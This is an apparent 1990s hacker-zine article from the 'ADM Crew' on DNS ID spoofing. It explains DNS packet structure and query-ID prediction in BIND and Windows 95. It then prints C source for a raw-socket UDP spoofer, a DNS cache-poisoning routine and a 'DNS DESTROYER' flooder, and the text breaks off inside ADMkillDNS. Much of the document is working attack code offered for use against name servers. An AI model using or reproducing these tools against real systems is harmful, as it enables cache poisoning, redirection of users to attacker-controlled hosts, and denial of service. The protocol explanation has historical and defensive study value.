                 "I am for ever walking upon these shores,
                  betwixt the sand and the foam.
                  The high tide will erase my foot-prints,
                  and the wind will blow away the foam.
                  But the sea and the shore will remain
                  For ever."
                                        -- Gibran K. Gibran

0x4>-------------------------------------------------------------------------
                      ___      ______      _       _
                    /     \   |   _   \   |  \   /  |
                   |  / \  |  |  |  \  |  |   \_/   |
                   | |___| |  |  |_ /  |  |   \_/   |
..oO  THE          |  ---  |  |       /   |  |   |  |         CreW Oo..
                   '''   '''   '''''''    ''''   ''''        
                               presents

                           DNS ID Hacking
                    

--[1]-- DNS ID Hacking Presentation

You might be wondering what DNS ID Hacking (or Spoofing) is all about.  DNS ID
Hacking isn't a usual way of hacking/spoofing such jizz or any-erect. This
method is based on a vulnerability on DNS Protocol.  More brutal, the DNS ID
hack/spoof is very efficient and very strong as there is no generation of DNS
daemons that escapes from it (even WinNT!).

--[1.1]-- DNS Protocol mechanism explanation

In the first step, you must know how the DNS works.  I will only explain the
most important facts of this protocol.  In order to do that, we will follow
the way of a DNS request packet from A to Z!

Name resolution example:
The client (bla.bibi.com) sends a request of resolution of the domain
"www.heike.com".  To resolve the name, bla.bibi.com uses "dns.bibi.com" for
DNS.  Let's take a look at the following picture..

/---------------------------------\
| 111.1.2.123  =  bla.bibi.com    |
| 111.1.2.222  =  dns.bibi.com    |
| format:                         |
| IP_ADDR:PORT->IP_ADDR:PORT      |
| ex:                             |
| 111.1.2.123:2999->111.1.2.222:53|
\---------------------------------/
...
  gethosbyname("www.heike.com");
...

[bla.bibi.com]                                 [dns.bibi.com] 
111.1.2.123:1999 ---> [?www.heike.com] ------> 111.1.2.222:53

Here we see our resolution name request from source port 1999 which is asking
to DNS on port 53 (note: DNS is always on port 53).  Now that dns.bibi.com has
received the resolution request from bla.bibi.com, dns.bibi.com will have to
resolve the name:

[dns.bibi.com]                                   [ns.internic.net]
111.1.2.222:53 --------> [dns?www.heike.com] ----> 198.41.0.4:53

dns.bibi.com asks ns.internic.net who the root name server for the address
of www.heike.com is, and if it doesn't have it and sends the request to a name
server which has authority on '.com' domains (note: we send a request to the
Internic because it could have this request in its cache).

[ns.internic.net]                                         [ns.bibi.com]
198.41.0.4:53 ------> [ns for.com is 144.44.44.4] ------> 111.1.2.222:53

Here we can see that ns.internic.net answered to ns.bibi.com (which is the DNS
that has authority over the domain bibi.com), that the name server of for.com
has the IP 144.44.44.4 (let's call it ns.for.com).  Now our ns.bibi.com will
ask to ns.for.com for the address of www.heike.com, but this one doesn't have
it and will forward the request to the DNS of heike.com which has authority
for heike.com.

[ns.bibi.com]                                   [ns.for.com]
111.1.2.222:53 ------> [?www.heike.com] -----> 144.44.44.4:53

The answer from ns.for.com:

[ns.for.com]                                                [ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4] ---> 144.44.44.4:53

Now that we know which IP address has authority on the domain "heike.com"
(we'll call it ns.heike.com), we ask it what's the IP of the machine 
www.heike.com.

[ns.bibi.com]                             [ns.heike.com]
111.1.2.222:53 -----> [?www.heike.com] ----> 31.33.7.4:53

We now have our answer:

[ns.heike.com]                                             [ns.bibi.com]
31.33.7.4:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.222:53

Great we have the answer, we can forward it to our client bla.bibi.com.

[ns.bibi.com]                                                 [bla.bibi.com]
111.1.2.222:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.123:1999

Now bla.bibi.com knows the IP of www.heike.com.

Now let's imagine that we'd like to have the name of a machine from its IP, in
order to do that, we proceed a bit differently as the IP will have to be
transformed.

Reverse name lookup resolution:
100.20.40.3 will become 3.40.20.100.in-addr.arpa

This method is only for the IP resolution request (reverse DNS).

Let's look at a practical example of when we take the IP address of
www.heike.com (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation
into a comprehensible format by DNS).

...
   gethostbyaddr("31.33.7.44");
...

We send our request to ns.bibi.com:

[bla.bibi.com]                                            [ns.bibi.com]
111.1.2.123:2600 -----> [?44.7.33.31.in-addr.arpa] -----> 111.1.2.222:53

Which is forwarded to ns.internic.net:

[ns.bibi.com]                                          [ns.internic.net]
111.1.2.222:53 -----> [?44.7.33.31.in-addr.arpa] ------> 198.41.0.4:53 

ns.internic.net will send the IP of a name server which has authority on
'31.in-addr.arpa'.

[ns.internic.net]                                             [ns.bibi.com]
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53

Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:

[ns.bibi.com]                                          [ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53

And so on.  The mechanism is nearly the same that was used for name resolution.

--[1.2]-- DNS packet header

Here is the format of a DNS message :
    +---------------------------+---------------------------+
    |     ID (the famous :)     |  flags                    |
    +---------------------------+---------------------------+
    |   numbers of questions    | numbers of answer         |
    +---------------------------+---------------------------+
    | number of RR authority    |number of supplementary RR |
    +---------------------------+---------------------------+
    |                                                       |
    \                                                       \
    \                   QUESTION                            \
    |                                                       |
    +-------------------------------------------------------+
    |                                                       |
    \                                                       \
    \                    ANSWER                             \
    |                                                       |
    +-------------------------------------------------------+
    |                                                       |
    \                                                       \
    \                  Stuff  etc..    No matter            \
    |                                                       |
    +-------------------------------------------------------+

--[1.3]--  Structure of DNS packets.

__ID__

The ID permits us to identify each DNS packet, since exchanges between name
servers are from port 53 to port 53, and more it might be more than one
request at a time, so the ID is the only way to recognize the different DNS
requests. Well talk about it later..

__flags__

The flags area is divided into several parts :

       4 bits                    3 bits (always 0)
       |                         |
       |                         |
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
                                         |
 |           |__|__|__|                  |______ 4 bits
 |                    |_ 1 bit
 |
1 bit

QR     = If the QR bit = 0, it means that the packet is a question, otherwise
         it's an answer.

opcode = If the value is 0 for a normal request, 1 for a reserve request, and
         2 for a status request (we don't need to know all these modes).

AA     = If it's equal to 1, it says that the name server has an authoritative
         answer.

TC     = No matter

RD     = If this flag is to 1, it means "Recursion Request", for example when
         bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the
         DNS to assume this request.

RA     = If it's set to 1, it means that recursion is available.  This bit is
         set to 1 in the answer of the name server if it supports recursion.

Zero   = Here are three zeroes...

rcode  = It contains the return error messages for DNS requests if 0, it means
         "no error", 3 means "name error"

The 2 following flags don't have any importance for us.

DNS QUESTION:

Here is the format of a DNS question :

+-----------------------------------------------------------------------+
|                        name of the question                           |
+-----------------------------------------------------------------------+
|       type of question         |      type of query                   |
+--------------------------------+--------------------------------------+

The structure of the question is like this.

example:
www.heike.com  will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] 
for an IP address, the format remains the same.

44.33.88.123.in-addr.arpa would be:
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
[note]: a compression format exists, but we won't cover it.


type of question:

Here are the values that we will use much of the time (there are many more,
but these are only ones relevant):

  name    value
   A    |   1    | IP Address          (resolving a name to an IP)
   PTR  |   12   | Pointer             (resolving an IP to a name)


type of query:

The values are the same as the type of question.

DNS ANSWER:

Here is the format of an answer (an RR)

+------------------------------------------------------------------------+
|      name of the domain                                                |
+------------------------------------------------------------------------+
|   type                           |    class                            |
+----------------------------------+-------------------------------------+
|                           TTL (time to live)                           |
+------------------------------------------------------------------------+
| resource data length       |                                           |
|----------------------------+                                           |
|                       resource data                                    |
+-------------------------------------------------------------------------

name of the domain:

The name of the domain in reports to the following resource:  The domain name
is stored in the same way that the part question for the resolution request of
www.heike.com, the flag "name of the domain" will contain
[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].

type:

The type flag is the same than "type of query" in the question part of the
packet.

class:
The class flag is equal to 1 for Internet data.

time to live:
This flag explains in seconds the time-life of the information into the
name server cache.

resource data length: 
The length of resource data, for example if resource data length is 4, it
means that the data in resources data are 4 bytes long.

resource data:  
here we put the IP for example (at least in our case)

I will offer you a little example that explains this better:

Here is what's happening when ns.bibi.com asks ns.heike.com for 
www.heike.com's address

ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)

+---------------------------------+--------------------------------------+
|   ID = 1999                     | QR = 0 opcode = 0 RD = 1             |
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = 0               |
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0       |
+---------------------------------+--------------------------------------+
<the question part>
+------------------------------------------------------------------------+
|   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]              |
+------------------------------------------------------------------------+
|  type of question = htons(1)    |      type of query=htons(1)          |
+---------------------------------+--------------------------------------+

here is for the question.

now let's stare the answer of ns.heike.com

ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53

+---------------------------------+---------------------------------------+
|   ID = 1999                     | QR=1 opcode=0 RD=1  AA =1  RA=1       |
+---------------------------------+---------------------------------------+
| numbers of questions = htons(1) | numbers of answers = htons(1)         |
+---------------------------------+---------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0        |
+---------------------------------+---------------------------------------+
+-------------------------------------------------------------------------+
|   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]               |
+-------------------------------------------------------------------------+
|   type of question = htons(1)   |      type of query = htons(1)         |
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
|   name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                  |
+-------------------------------------------------------------------------+
|       type        = htons(1)    |      class    = htons(1)              |
+-------------------------------------------------------------------------+
|                       time to live = 999999                             |
+-------------------------------------------------------------------------+
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
+-------------------------------------------------------------------------+

Yah! That's all for now :))
 
Here is an analysis:
In the answer QR = 1 because it's an answer :)
AA = 1 because the name server has authority in its domain
RA = 1 because recursion is available

Good =) I hope you understood that cause you will need it for the following
events.

--[2.0]-- DNS ID hack/spoof

Now it's time to explain clearly what DNS ID hacking/spoofing is.
Like I explained before, the only way for the DNS daemon to recognize
the different questions/answers is the ID flag in the packet. Look at this
example:

ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53

So you only have to spoof the ip of ns.heike.com and answer your false
information before ns.heike.com to ns.bibi.com!

ns.bibi.com <------- . . . . . . . . . . .  ns.heike.com 
                   |
                   |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com 

But in practice you have to guess the good ID :) If you are on a LAN, you
can sniff to get this ID and answer before the name server (it's easy on a
Local Network :)

If you want to do this remotely you don't have a lot a choices, you only
have 4 basics methods:

1.) Randomly test all the possible values of the ID flag. You must answer
    before the ns ! (ns.heike.com in this example). This method is obsolete
    unless you want to know the ID .. or any other favorable condition to
    its prediction.

2.) Send some DNS requests (200 or 300) in order to increase the chances
    of falling on the good ID.

3.) Flood the DNS in order to avoid its work. The name server will crash
    and show the following error!

    >> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
       at this time named daemon is out of order :)

4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
    Networks, Inc.) with ID prediction (we will discuss this in a bit).  


##################### Windows ID Vulnerability ###########################

I found a heavy vulnerability in Windows 95 (I haven't tested it on
WinNT), lets imagine my little friend that's on Windows 95.
Windows ID's are extremely easy to predict because it's "1" by default :))) 
and "2" for the second question (if they are 2 questions at the same time).


######################## BIND Vulnerability ##############################

There is a vulnerability in BIND (discovered by SNI as stated earlier).
In fact, DNS IS are easily predictable, you only have to sniff a DNS in
order to do what you want. Let me explain...

The DNS uses a random ID at the beginning but it only increase this ID for
next questions ... =)))

It's easy to exploit this vulnerability.
Here is the way:

1. Be able to sniff easily the messages that comes to a random DNS (ex.
   ns.dede.com for this sample).

2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will
   ask to ns.dede.com to resolve (random).dede.com

   ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com

3. Now you have the ID of the message from NS.victim.com, now you know what
   ID area you'll have to use. (ID = 444 in this sample).

4. You then make your resolution request. ex. www.microsoft.com to
   NS.victim.com
   
   (you) ---> [?www.microsoft.com] ---> ns.victim.com

   ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
     
5. Flood the name server ns.victim.com with the ID (444) you already have and
   then you increase this one.

 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com


(now you know that DNS IDs are predictable, and they only increase. You
flood ns.victim.com with spoofed answers with the ID 444+ ;)

*** ADMsnOOfID does this.


There is another way to exploit this vulnerability without a root on
any DNS

The mechanism is very simple. Here is the explanation

We send to ns.victim.com a resolution request for *.provnet.fr

(you) ----------[?(random).provnet.fr] -------> ns.victim.com

Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr.
There is nothing new here, but the interesting part begins here.

From this point you begin to flood ns.victim.com with spoofed answers
(with ns1.provnet.fr IP) with ids from 100 to 110...

(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com 
.....

After that, we ask ns.victim.com if (random).provnet.fr has an IP.

If ns.victim.com give us an IP for (random).provnet.fr then we have
found the correct ID :) Otherwise we have to repeat this attack until we
find the ID. It's a bit long but it's effective. And nothing forbids you 
to do this with friends ;)

This is how ADMnOg00d works ;)

-------------------------------



########################################################################## 

Here you will find 5 programs
ADMkillDNS  - very simple DNS spoofer
ADMsniffID  - sniff a LAN and reply false DNS answers before the NS
ADMsnOOfID  - a DNS ID spoofer (you'll need to be root on a NS)
ADMnOg00d   - a DNS ID predictor (no need to be root on a NS)
ADNdnsfuckr - a very simple denial of service attack to disable DNS

Have fun!! :)
Note: You can find source and binaries of this progs at 
ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would
be on janova. You need to install libpcap on your machine before any
compilation of the ADMID proggies :)


ADM Crew.

Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love
these guys)
Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at
www.secnet.com for finding the vulnerability =)   

<++> ADMIDpack/ADM-spoof.c
/************************************************************************/
/*  ADM spoofing  routine for spoof udp                                 */
/************************************************************************/
  
#define IPHDRSIZE     sizeof(struct iphdr)
#define UDPHDRSIZE    sizeof(struct udphdr)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <netdb.h>
#include <netinet/in.h>
#include "ip.h"
#include "udp.h"


/*****************************************************************************/
/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
/*****************************************************************************/

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);

}



 int udp_send(s,saddr,daddr,sport,dport,datagram,datasize) 
     
     int s;
     unsigned long  saddr;
     unsigned long  daddr;
     unsigned short sport;
     unsigned short dport;
     char           * datagram;
     unsigned       datasize;
{

struct sockaddr_in sin;
struct   iphdr   *ip;
struct   udphdr  *udp;
unsigned char    *data;
unsigned char    packet[4024];
int x;
 
ip     = (struct iphdr     *)packet; 
udp    = (struct udphdr    *)(packet+IPHDRSIZE);
data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
       
memset(packet,0,sizeof(packet));

	udp->source  = htons(sport); 
	udp->dest    = htons(dport);
	udp->len     = htons(UDPHDRSIZE+datasize);
	udp->check   = 0;         

        memcpy(data,datagram,datasize);
        
        memset(packet,0,IPHDRSIZE);
        
        ip->saddr.s_addr  = saddr;
        ip->daddr.s_addr  = daddr;
        ip->version  = 4;
        ip->ihl      = 5;
        ip->ttl      = 245;
        ip->id       = random()%5985;
        ip->protocol = IPPROTO_UDP;
        ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
        ip->check    = 0;
        ip->check    = in_cksum((char *)packet,IPHDRSIZE);
                                                                        
                                                                        

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr=daddr;
	sin.sin_port=udp->dest;
	
        x=sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
        		(struct sockaddr*)&sin, sizeof(struct sockaddr));


return(x);
}



/*****************************************************************************/
/*                     RECV PAKET                                            */
/* get_pkt(socket, *buffer , size of the buffer);                            */
/*****************************************************************************/

int get_pkt(s,data,size)
int s;
unsigned char *data;
int size;
{
 struct sockaddr_in sin;
 int len,resu;
 len= sizeof(sin);
 resu=recvfrom(s,data,size,0,(struct sockaddr *)&sin,&len);
 return resu;
}        
<-->
<++> ADMIDpack/ADMDNS2.c
/*************************************************/
/*  DNS include for play with DNS packet (c) ADM */
/*************************************************/

#define   ERROR -1
#define   DNSHDRSIZE 12
#define   TYPE_A   1
#define   TYPE_PTR 12


int myrand()
{
 int j; 
 j=1+(int) (150.0*rand()/(RAND_MAX+1.0));
 return(j);
}


unsigned long  host2ip(char *serv)

{
  struct sockaddr_in sinn;
  struct hostent *hent;
      
  hent=gethostbyname(serv);
  if(hent == NULL) return 0;
  bzero((char *)&sinn, sizeof(sinn));
  bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  return sinn.sin_addr.s_addr;
 }

  

void nameformat(char *name,char *QS)
{
/* CRAP & LAme COde :) */
char lol[3000];
char tmp[2550];
char tmp2[2550];
int  i,a=0;
bzero(lol,sizeof(lol));
bzero(tmp,sizeof(tmp));
bzero(tmp2,sizeof(tmp2));



  for(i=0;i<strlen(name);i++)
     {
      if( *(name+i) == '.'  ){
          sprintf(tmp2,"%c%s",a,tmp);
          strcat(lol,tmp2);
          bzero(tmp,sizeof(tmp));
          bzero(tmp2,sizeof(tmp2));
          a=0;
          } 
       else  tmp[a++] = *(name+i);
     }
       
 sprintf(tmp2,"%c%s",a,tmp);
 strcat(lol,tmp2);
 strcpy(QS,lol);
 }     



void nameformatIP(char *ip, char *resu)
{
char *arpa = "in-addr.arpa";
char bla[255];
char arf[255];
char haha[255];
char c;
char *A[4];
int i,a=3,k=0;

bzero(bla,sizeof(bla));
bzero(arf,sizeof(arf));
bzero(haha,sizeof(haha));

for(i=0;i<4;i++){
  A[i] =(char *)malloc(4);
  bzero(A[i],4);
 }

bzero(bla,sizeof(bla));
bzero(arf,sizeof(arf));

for(i=0;i<strlen(ip);i++)
  {
   c = ip[i];
    if( c == '.'){
     strcat(A[a],arf); 
     a--;
     k=0;
     bzero(arf,sizeof(arf));
     }
   else arf[k++] = c;
  }
  
  strcat(A[a],arf);
  
 for(i=0;i<4;i++){
    strcat(bla,A[i]);
    strcat(bla,".");
    }
     

strcat(bla,arpa);
nameformat(bla,haha);
strcpy(resu,haha);
}   



int makepaketQS(char *data,char *name,int type)
{

if(type == TYPE_A ){
   nameformat(name,data);
   *( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_A);
 }

if(type == TYPE_PTR){
   nameformatIP(name,data);
   *( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);
   }
        
   *( (u_short *) (data+strlen(data)+3) ) = htons(1); 
   return(strlen(data)+5);   

}


int makepaketAW(char *data,char *name, char *ip,int type)
{
int i;
char tmp[2550];
bzero(tmp,sizeof(tmp));

if( type == TYPE_A ){
   nameformat(name,data);
   *( (u_short *) (data+strlen(data)+1) ) = htons(1);
   *( (u_short *) (data+strlen(data)+3) ) = htons(1);        
   i=strlen(data)+5;
   strcpy(data+i,data);
   i=i+strlen(data)+1;    
   *((u_short *) (data+i))      = htons(TYPE_A);
   *((u_short *) (data+i+2))    = htons(1);
   *((u_long *) (data+i+4))    = 9999999;
   *((u_short *) (data+i+8))    = htons(4);
   *((u_long *) (data+i+10))   = host2ip(ip);
   return(i+14);
  }

if( type == TYPE_PTR ){
   nameformat(name,tmp);
   nameformatIP(ip,data);
   *( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);
   *( (u_short *) (data+strlen(data)+3) ) = htons(1);  
   i=strlen(data)+5;
   strcpy((data+i),data);
   i=(i+strlen(data)+1);
   *((u_short *) (data+i))     = htons(TYPE_PTR);
   *((u_short *) (data+i+2))   = htons(1);
   *((u_long *) (data+i+4))    = 9999999;
   *((u_short *) (data+i+8))   = htons(strlen(tmp)+1);
   strcpy((data+i+10),tmp);
   return(i+10+strlen(tmp)+1);
  }
}

void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)
{
 struct dnshdr *dns;
 char buff[1024];
 char *data;
 int i;
 int on=1;
 int sraw;

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
   perror("socket");
   exit(ERROR);
   }
   
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
  perror("setsockopt");
  exit(ERROR);
  }

dns  = (struct dnshdr *) buff;
data = (char *)(buff+DNSHDRSIZE);

bzero(buff,sizeof(buff));

dns->id      = 6000+myrand();
dns->qr      = 0;
dns->rd      = 1;
dns->aa      = 0;
dns->que_num = htons(1);
dns->rep_num = htons(0);
i=makepaketQS(data,name,type);
udp_send(sraw,s_ip,d_ip,1200+myrand,53,buff,DNSHDRSIZE+i);
close(sraw);       
}                                   

void sendawnser(u_long s_ip, u_long d_ip, char *name,char *spoofip,int ID,int type)
 {
 struct dnshdr *dns;
 char buff[1024];
 char *data;
 int i;
 int on=1;
 int sraw;
 
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
   perror("socket");
   exit(ERROR);
   }
   
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
  perror("setsockopt");
  exit(ERROR);
  }

dns  = (struct dnshdr *) buff;
data = (char *)(buff+DNSHDRSIZE);

bzero(buff,sizeof(buff));

  dns->id      = htons(ID);
  dns->qr      = 1;
  dns->rd      = 1;
  dns->aa      = 1;
  dns->que_num = htons(1);
  dns->rep_num = htons(1);
  i=makepaketAW(data,name,spoofip,type);
  printf(" I apres Makepaket == %i \n",i);
  udp_send(sraw,s_ip,d_ip,53,53,buff,DNSHDRSIZE+i);
  close(sraw);
 }           
                                     

void dnsspoof(char *dnstrust,char *victim,char *spoofname,char *spoofip,int ID,int type)
     {
     struct dnshdr *dns;
     char    buff[1024];
     char    *data;
     u_long fakeip;
     u_long trustip;
     u_long victimip;
     int loop,rere;
     
     dns  = (struct dnshdr *)buff;
     data = (char *)(buff+DNSHDRSIZE);
     
     
     
    trustip  = host2ip(dnstrust);
    victimip = host2ip(victim); 
    fakeip   = host2ip("12.1.1.0");
    
    /* send question ... */
   if( type ==  TYPE_PTR) 
     for(loop=0;loop<4;loop++)sendquestion(fakeip,victimip,spoofip,type);
   
   if( type == TYPE_A)
     for(loop=0;loop<4;loop++)
          sendquestion(fakeip,victimip,spoofname,type);
         
           
           /* now its time to awnser Quickly !!! */ 
     for(rere = 0; rere < 2;rere++){
        for(loop=0;loop < 80;loop++){
            printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type %i\n",
                 dnstrust,victim,spoofname,spoofip,ID+loop,type); 
          sendawnser(trustip,victimip,spoofname,spoofip,ID+loop,type);
         }
      }
    
    
    }
<-->
<++> ADMIDpack/ADMdnsfuckr.c
/*   ADM DNS DESTROYER  */


#define  DNSHDRSIZE 12
#define  VERSION    "0.2 pub"
#define  ERROR  -1

#include <stdio.h>
#include <stdlib.h>      
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"

                     
void main(int argc, char **argv)
   {
	 struct   dnshdr *dns;
	 char            *data;
         char            buffer2[4000];
         unsigned char   namez[255];     
	 unsigned long   s_ip;
	 unsigned long   d_ip;                      
	 int sraw,on=1;


if(argc <2){printf(" usage : %s <host> \n",argv[0]); exit(0);}
	
 dns    = (struct dnshdr  *)buffer2;
 data   = (char *)(buffer2+12);
 bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
  perror("socket");
  exit(ERROR);
  }
  
 if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
   perror("setsockopt");
   exit(ERROR);
   }

printf("ADMdnsFuker %s  DNS DESTROYER  made by the ADM crew\n",VERSION);
printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n");
sleep(1);

s_ip=host2ip("100.1.2.3");
d_ip=host2ip(argv[1]);

    
       
       dns->id      = 123;
       dns->rd      = 1;
       dns->que_num = htons(1);
      
      while(1){            
                           
                  sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());        
                  printf("%s\n",namez);
                  strcpy(data,namez);
                  *( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
                  *( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
                  udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
                  s_ip=ntohl(s_ip);
                  s_ip++;
                  s_ip=htonl(s_ip);   
              
            }

}
<-->
<++> ADMIDpack/ADMkillDNS.c

#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"

#define   ERROR     -1
#define   VERSION  "0.3 pub"
#define   ID_START  1
#define   ID_STOP   65535
#define   PORT_START  53
#define   PORT_STOP   54

void main(int argc, char **argv)
   {
        
	 struct   dnshdr *dns;
	 char            *data;
         char            buffer2[4000];
         unsigned char   namez[255];    
	 unsigned long   s_ip,s_ip2;
	 unsigned long   d_ip,d_ip2;
         int sraw, i, on=1, x, loop, idstart, idstop, portstart, portstop;


if(argc <5){
            system("/usr/bin/clear");
            printf(" usage : %s <ip src> <ip dst>  <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
            printf(" ip src: ip source of the dns anwser\n");
            printf(" ip dst: ip of the dns victim\n");
            printf(" name  : spoof name ex: www.dede.com\n");
            printf(" ip    : the ip associate with the name\n");
            printf(" options \n");
            printf(" [A,B,N]   \n");
            printf(" A: flood the DNS victim with multiple query\n");
            printf(" B: DOS attack for destroy the DNS \n");
            printf(" N: None attack \n\n");
            printf(" [ID_START]            \n");
            printf(" ID_START: id start :> \n\n");
            printf(" [ID_STOP]             n");
            printf(" ID_STOP : id stop :>  \n\n");
            printf(" PORT START,PORT STOP: send the spoof to the portstart at portstop\n\n");
            printf("\033[01mADMkillDNS %s (c) ADM\033[0m , Heike \n",VERSION);
            exit(ERROR);
            }
 
 dns    = (struct dnshdr  *)buffer2;
 data   = (char *)(buffer2+DNSHDRSIZE);
 bzero(buffer2,sizeof(buffer2));
 
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
   perror("socket");
   exit(ERROR);
   }
   
 
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
  perror("setsockopt");
  exit(ERROR);
  }
 
 printf("ADMkillDNS %s",VERSION); 
 printf("\nouais ben mwa je dedie ca a ma Heike");
 printf("\nREADY FOR ACTION!\n"); 

s_ip2=s_ip=host2ip(argv[1]);
d_ip2=d_ip=host2ip(argv[2]);



if(argc>5)if(*argv[5]=='A')
 {
  for(loop=0;loop<10;loop++){
       dns->id      = 6000+loop;
       dns->qr      = 0;
       dns->rd      = 1;
       dns->aa      = 0;
       dns->que_num = htons(1);
       dns->rep_num = htons(0);
       i=makepaketQS(data,argv[3],TYPE_A); 
       udp_send(sraw,s_ip,d_ip,1200+loop,53,buffer2,DNSHDRSIZE+i);         
       s_ip=ntohl(s_ip);
       s_ip++;
       s_ip=htonl(s_ip);
       
       }
   } /* end of DNS flood query */

/* ici on trouve la routine contre un DOS */

if(argc>5)if(*argv[5]=='B')
  {
  	  s_ip=host2ip("100.1.2.3");
          dns->id      = 123;
          dns->rd      = 1;
          dns->que_num = htons(1);
             
     printf("plz enter the number of packet u wanna send\n");
     scanf("%i",&i);         
      for(x=0;x<i;x++){            
                           
                  sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());        
                  strcpy(data,namez);
